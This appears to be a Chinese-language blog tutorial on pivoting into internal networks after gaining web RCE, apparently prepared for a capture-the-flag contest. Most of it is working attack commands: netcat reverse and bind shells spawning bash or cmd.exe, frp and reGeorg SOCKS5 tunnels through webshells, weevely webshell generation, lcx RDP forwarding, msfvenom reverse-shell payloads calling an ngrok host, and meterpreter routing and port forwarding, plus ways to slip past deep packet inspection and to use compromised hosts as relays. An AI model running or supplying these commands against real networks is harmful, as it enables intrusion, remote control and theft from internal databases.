先从nc开始理解正向代理和反向代理:
1、正向连接
受害者主机执行
nc -e -t /bin/bash -lvp 7777
攻击者执行
nc -t 192.168.16.X 7777
2、反向连接
受害者主机执行
nc -t -e cmd.exe 192.168.16.104 7777
攻击者主机执行
nc -lvp 7777
winodws下命令参数和linxu参数相同。
nc仅仅能够实现执行命令的操作,对于端口转发和建立socks5代理实现内网扫描无能为力。
结合最近在准备的BCTF,是通过web的RCE命令执行,实现的内网渗透。
那么整理了一下通过web实现内网渗透的几种场景。
正题:
外层的防火墙根据过滤的严格程度分为:
- 场景一:内网防火墙对出口流量没有任何端口限制。
- 思路:由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活。
- 方法一:正向连接,将shell转发到某个端口,或者内网主机的端口或者监听SOCKS5端口开始监听,等待外面的攻击者连接(此时,外网的任何人都可以来连接被攻击者的端口)
- 方法二:反向连接,受害者主机,通过指定攻击者正在监听的IP和port,将shell,内网端口等转发到攻击者。也可实现socks5反向代理。
- 场景二:内网的防火墙只配置了入站规则比如只有80端口。
- 思路:通过反向代理实现流量转发,端口转发,内网渗透。
- 方法:反向连接,受害者主机,通过指定攻击者正在监听的IP和port,将shell,内网端口等转发到攻击者。也可实现socks5反向代理。
- 场景三:内网防火墙出站入站规则都配置了比如只开放(80,443)
- 思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务。
- 方法:工具搭建socks5代理配合proxychains来代理所有流量进一步渗透内网。
- 场景四:内网防火墙都配置了出入站规则并且具有协议检测和识别能力且仅允许HTTP流量出去外网
- 思路:由于防火墙仅允许HTTP流量出去外网,可选择的方案将会受到很大限制,但是其中一种方案是HTTP隧道技术
- 方法:regeorg+proxifier 实现
- 场景五:内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量
- 思路:该场景比场景三更加苛刻,在场景三中我们将流量封装在HTTP协议中来Bypass检测,但是流量本身都是明文传输,所以一旦目标内网检测HTTP流量,我们还是可能被拦截,因此我们需要对场景三中的思路稍加修改,即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的,检测系统就无法发现真实的payload了。
- 方法:利用SSL或者SSH加密流量在结合HTTP隧道技术
防火墙的突破
“Socks代理"
一条正常的socket隧道必具备两端,一侧为服务端,它会监听一个端口等待客户端连接;
另一侧为客户端,通过传入服务端的ip和端口,才能主动连接到服务器。
没有防火墙的过滤规则正向代理方向代理都是可以的,效果是一样的。
原理介绍:
HTTP代理:能够代理客户机的HTTP访问,主要是代理浏览器访问网页,它的端口一般为80、8080等;
SOCKS代理:SOCKS代理与其他类型的代理不同,它只是简单地传递数据包,而并不关心是何种应用协议,既可以是HTTP请求,所以SOCKS代理服务器比其他类型的代理服务器速度要快得多。
SOCKS代理又分为SOCKS4和SOCKS5,二者不同的是SOCKS4代理只支持TCP协议(即传输控制协议),而SOCKS5代理则既支持TCP协议又支持UDP协议(即用户数据包协议),还支持各种身份验证机制、服务器端域名解析等。
建立socks5通道之后,可以转发各种应用层协议服务(底层信息先不需要了解,等待填坑)
1. 对于访问目标来说所有的交互都只和 Socks-server 有关,Client的身份被隐藏起来了。
2. 当Client和访问目标间无法直接通讯时,Socks-server仍然可以正常工作,这同时又是一种FQ操作。
ss和ssr都是基于socks5
前提:
已经具有目标内网中的一台主机的任意命令执行的权限,比如:webshell或者某个service的RCE漏洞。
目标:
要绕过可能存在的防火墙,IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透,最终以进入内网数据库为目标。
本地环境的搭建:
攻击机(Kali ):192.168.16.X(环境限制,192.168.16段的IP当作公网IP)
环境1:
- 内网主机A(Linux):172.16.10.3 (无法访问互联网,只能通过内网主机访问)
- 内网主机A(Linux):
- 172.16.10.2(网卡1)
- 192.168.16.X(网卡2)(公网IP)
网络拓扑:
所有的解决方案是向上兼容的。
场景一:内网防火墙对出口流量没有任何端口限制。
其他场景的解决方案都可以应用到场景一中。
场景二:内网的防火墙只配置了入站规则比如只有80端口。
这种场景,取得执行权限的主机对外网的连接时没有限制的,可以使用反向代理。
FRP实现socks5代理和内网端口转发
此时可以执行命令的主机的出站规则是没有限制的,通过配置反向的socks5代理可以实现内网渗透
受害者主机执行
./frpc -c frpc.ini
frpc.ini配置文件为:
[common] server_addr = 192.168.16.105 server_port = 7000 [socks5_proxy] type = tcp remote_port = 18888 plugin = socks5
攻击者主机执行
./frps -c frps.ini
frps.ini配置文件为:
[common] bind_port = 80
建立连接之后,攻击者就拥有了一条通往内网的socks5隧道,配合proxychains就可以实现对内网的渗透了。
场景三:内网防火墙出站入站规则都配置了比如只开放(80,443)
如果开放的端口多,可以实现frp的反向代理(把非80端口的服务停掉,使用防火墙允许的端口建立连接)
场景四:内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网
构建Web隧道,实现HTTP代理转发:
1、reGeorg+proxifier(win)
reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
https://github.com/sensepost/reGeorg
受害者web目录下上传
tunnel.nosokcet.php
攻击者执行
python reGeorgSocksProxy.py -p 7777 -u http://192.168.16.107/tunnel.nosocket.php
就可以通过proxychains实现代理攻击了。
2、 frp进行端口转发
frp端口转发的配置只需要需要修改frpc.ini文件
例如转发内网的主机3306端口到本地配置信息为:
[common] server_addr = 192.168.16.105 server_port = 7000 [mysql] type = tcp local_ip = 127.0.0.1 local_port = 3306 remote_port = 33061
此时,攻击者只需要在本地命令行执行
mysql -P 33061 -h 127.0.0.1 -uroot -p
即可进入内网的主机数据库。
3、weevely(linux版的菜刀,仅支持http/https代理)
python weevely3.py generate shell shell.php
python weevely.py http://192.168.16.112/shell.php shell
:help
可以执行一些菜刀的命令
场景五:内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量
方法:利用SSL或者SSH加密流量在结合HTTP隧道技术
- 思路:该场景比场景三更加苛刻,在场景三中我们将流量封装在HTTP协议中来Bypass检测,但是流量本身都是明文传输,所以一旦目标内网检测HTTP流量,我们还是可能被拦截,因此我们需要对场景三中的思路稍加修改,即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的,检测系统就无法发现真实的payload了。
- 方法:利用SSL或者SSH加密流量在结合HTTP隧道技术
然而实际情况一般是拿到了一个网站的webshell,然后提权,建立管理员账户或者破解原有的管理员密码,紧接着开启目标服务器远程桌面,然而他却是处于内网的服务器,这个时候你如果想搞内网的主机,发现,即便拿到远程桌面了也没有工具去搞内网的那些主机,所以通过你拿到的服务器建立代理,将你的攻击主机挂上代理实现对内网主机的渗透。
当你瞄准了某台主机的某台端口,为了攻击方便,就可以通过端口转发,转发到本地端口。然后攻击者就可以对127.0.0.1:port实现攻击。
找到的网上总结的一张图片:
讲一下内网渗透代理最常用的几种方案:
LCX 对 windows 3389 的转发;
1、内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389
内网主机的 3389 端口转发到具有公网ip主机的 4444 端口
2、公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2
lcx.exe –listen 4444 5555 监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口
此时,如果在公网本机上,本地的5555端口就是内网主机的3389远程桌面服务,直接mstsc连接127.0.0.1:5555就可以远程桌面内网主机。
如果是在本地访问公网的ip:5555端口就可以远程桌面连接。
2、reGeorg 通过上传对应脚本(PHP/ASPX/JSP),然后proxifier全局代理进一步内网渗透;
上面已讲解
3、ngrok配合msf实现内网渗透:
使用ngrok将自己的内网地址映射到公网上面,可以让肉鸡直接请求ngrok转换的地址。
开启Metasploit控制台
开启成功,加载exploit模块和payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tcp://0.tcp.ngrok.io LPORT=15497 -f exe -a x86 --platform win -o shell.exe msf use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.16.107 set lhost 8888 run
使用show options查看要设置的参数,这里设置LHOST为本机的ip,LPORT设置你要监听的端口(这个端口在做端口转发的时候设置的)
配置好之后,新建一个终端,然后生成木马(这里要和转发的域名和端口一样)
木马生成完成
然后打开Metasploit输入exploit或者run,开始监听
然后咱用webshell把生成的木马上传到服务器,再用菜刀的终端远程执行这个木马
4、msf实现socks5代理建立(本地测试没有成功)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe run post/windows/gather/arp_scanner RHOSTS=192.168.192.0/24
msf中同样也为我们提供好了用于socks代理的模块[socks5]
当我们获取了目标系统的一个meterpreter会话
run autoroute -s 192.168.192.0/24 route flush use auxiliary/server/socks5 set srvhost 127.0.0.1 set srvport 1080 run
最后,在proxychians.conf中设置好代理。
5、使用msf的portfwd进行端口转发
拿到meterpreter之后执行:
portfwd add -l 7777 -p 3389 -r 192.168.192.133 -l 本地监听的端口 -p 肉鸡的3389端口 -r 肉鸡的IP 实现将肉鸡的3389 转发到本地的7777 端口
之后执行远程桌面连接
rdesktop -f -a 16 127.0.0.1:7777
模拟环境与真实环境的差异:
黑客的攻击机一般是没有公网IP的,黑客真实情况下是需要使用一台VPS做端口转发的。
黑客的实现途径一般就两种:
- 当运营商的宽带分配的是公网IP的情况下,使用内网穿透工具如ngrok等工具将自己的局域网映射到公网上面监听端口实现反弹shell
- 抓一台服务器肉鸡,实现端口监听和转发
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
当一件事情你没有尽全力,仍然被大家夸奖时,你收获的快乐是大打折扣的,甚至收获的不是快乐,而是焦虑,彷徨,不安。